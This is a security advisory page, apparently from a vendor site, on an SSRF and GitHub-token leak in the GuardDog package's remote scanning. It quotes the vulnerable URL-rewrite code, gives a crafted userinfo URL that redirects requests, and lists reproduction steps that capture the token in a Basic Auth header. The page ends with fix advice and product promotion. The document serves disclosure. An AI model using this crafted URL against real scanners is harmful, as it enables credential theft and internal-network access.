GHSA-587r-mc96-6f2p
HIGHGHSA-587r-mc96-6f2p is a high-severity (CVSS 8.2) vulnerability in guarddog. O3 Security confirms whether GHSA-587r-mc96-6f2p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
Real-World Exposure
guarddogReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
http://[email protected]:18081/owner/repo
is transformed into:
http://[email protected]:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in
GH_TOKEN - SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | guarddog | ≥ 1.0.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for guarddog. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of guarddog has shipped for GHSA-587r-mc96-6f2p yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-587r-mc96-6f2p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-587r-mc96-6f2p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-587r-mc96-6f2p in your dependencies?
O3 detects GHSA-587r-mc96-6f2p across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.